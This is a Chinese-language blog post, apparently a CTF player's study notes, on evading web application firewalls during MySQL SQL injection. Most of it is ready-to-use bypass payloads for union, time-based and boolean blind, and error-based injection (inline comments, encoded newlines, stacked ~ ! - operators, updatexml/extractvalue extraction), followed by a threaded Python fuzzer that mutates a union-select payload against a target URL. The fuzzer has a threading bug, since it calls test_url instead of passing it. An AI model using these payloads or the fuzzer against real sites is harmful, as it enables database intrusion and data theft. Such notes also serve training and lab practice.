因爲對上次比賽sql的題挺不甘心 所以又着重複習了一遍sql,並記錄了平常繞waf的點
手工bypass要點 先通過破壞關鍵字測試出攔截規則 之後進行鍼對性繞過
Mysql
前期詳解:傳送門
1.1、聯合注入
0x01 and繞過
直接 and 1=1 直接就會被攔截
在數值的前面加特殊符號干擾匹配規則進行繞過
在這裏使用取反符號’-‘或者取邏輯位非運算符號’~'進行繞過
and = &&
or = ||
%26 == &
0x02 對order by ——> 判斷表的字段數繞過
通過破壞關鍵字測試出攔截的是 order by 這兩個關鍵字的組合,單獨的關鍵字不攔我們只需要干擾他的匹配即可。
在這裏我測試使用的是內聯註釋和中間加特殊字符進行繞過
/*!order*/ by 3
order%0aby 4
0x03 union select 聯合注入繞過
這兩個也是單獨一個不攔 組合起來就會觸發攔截
這裏給出幾個繞過payload
union select 繞過
' union/*!50000select*/1,2,3--+
' union--+%0aselect 1,2,3--+
' union%23%0a+all+select+1,2,3--+
'/*union select 1,2,3--+*/
'+"/*"union select 1,2,3"*/"--+
'+'/*'union select 1,2,3%23*/--+
database() 函數+編碼繞過
hex(database%0a())
hex(database/**/())
1.2、盲注
0x01 時間盲注
基礎語句
' and if((substr((select user()),1,1)>'a'),sleep(2),1)--+
select user()處可以替換成要執行的查詢語句
如:select group_concat(table_name,0x7e) from information_schema.tables where table_schema = database()
payload
1、內聯註釋繞過
'/*!50000and*/if((substr((select hex(user/**/())),1,1)>1),sleep/**/(2),1)--+
2、and後面可以接特殊的字符可以繞過包括不限於! ~ & -
加偶數個’~’,可以繞過
加奇數個’-‘可以繞過’
加3/4/5數個’!'繞過
' and ~if((substr((select hex(user/**/())),1,1)>1),sleep/**/(2),1)--+
' and !!!if((substr((select hex(user/**/())),1,1)>1),sleep/**/(2),1)--+
' and ---if((substr((select hex(user/**/())),1,1)>1),sleep/**/(2),1)--+
0x02 布爾盲注
基礎語句
‘ and substr((select database()),1,1)='s'--+
' and length(database())>7--+
payload
1、內聯註釋直接繞過
'/*!50000and*/ substr((select hex(database/**/())),1,1)>1
2、在substr函數前面加特殊符號繞過
加偶數個’~’,可以繞過
加 3 4 7 8 等數個’!'繞過
爆表
' and~~hex(substr((select table_name /*!50000from*/ information_schema.tables where table_schema=database/**/() limit 1,1),1,1))>60--+
1.3、報錯注入
報錯注入常用的一些函數
1、floor()
select * from security.users where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
2、extractvalue()
select * from security.users where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
3、updatexml()
select * from security.users where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
繞過payload
1、內聯註釋繞過
/*!%26%26*/ /*!11440updatexml*/(1,concat(0x7e,(select unhex(hex(user/**/()))),0x7e),1)
/*!50000and*/ /*!11440updatexml*/(1,concat(0x7e,(select unhex(hex(user/**/()))),0x7e),1)
2、特殊連接符繞過
任意數個’~‘符號繞過
奇數個’-'繞過
and-/*!50000updatexml*/(1,concat(0x7e,(select unhex(hex(user/**/()))),0x7e),1)
and~/*!50000updatexml*/(1,concat(0x7e,(select unhex(hex(user/**/()))),0x7e),1)
and `updatexml`(1,concat(0x7e,(select unhex(hex(user/**/()))),0x7e),1)
這裏借用一位老哥的fuzz腳本
fuzz script
import requests
from queue import Queue
import threading
fuzz_zs = ['/*', '*/', '/*!', '*', '=', '`', '!', '@', '%', '.', '-', '+', '|', '%00']
fuzz_sz = ['', ' ']
fuzz_ch = ["%0a", "%0b", "%0c", "%0d", "%0e", "%0f", "%0g", "%0h", "%0i", "%0j"]
fuzz = fuzz_ch + fuzz_sz + fuzz_zs
class Fuzz:
def __init__(self, base_url, thread_num):
self.base_url = base_url
self.thread_num = thread_num
self.headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)'
' Chrome/74.0.3729.169 Safari/537.36'}
self.task = Queue()
for a in fuzz:
for b in fuzz:
for c in fuzz:
for d in fuzz:
exp = self.base_url + "'+\"/*\"union" + a + b + c + d + "select 1,2,3%23*/"
self.task.put(exp)
def visit(self, exp_url):
try:
resp = requests.get(exp_url, headers=self.headers)
resp_text = resp.text
except requests.ConnectionError:
resp_text = ""
return resp_text
def test_url(self):
with open('fuzz_url.txt', 'w+') as f:
while not self.task.empty():
exp_url = self.task.get()
resp_text = self.visit(exp_url)
if "Welcome" in resp_text and "error" not in resp_text:
f.write(exp_url + '\n')
print(exp_url)
def work(self):
threads = []
for i in range(self.thread_num):
t = threading.Thread(target=self.test_url())
threads.append(t)
t.start()
for t in threads:
t.join()
url = "http://localhost/sql/Less-1/?id=1"
obj = Fuzz(url, 10)
obj.work()
參考文章
GOT IT!
更多繞waf需通過實踐去探索
******************************************************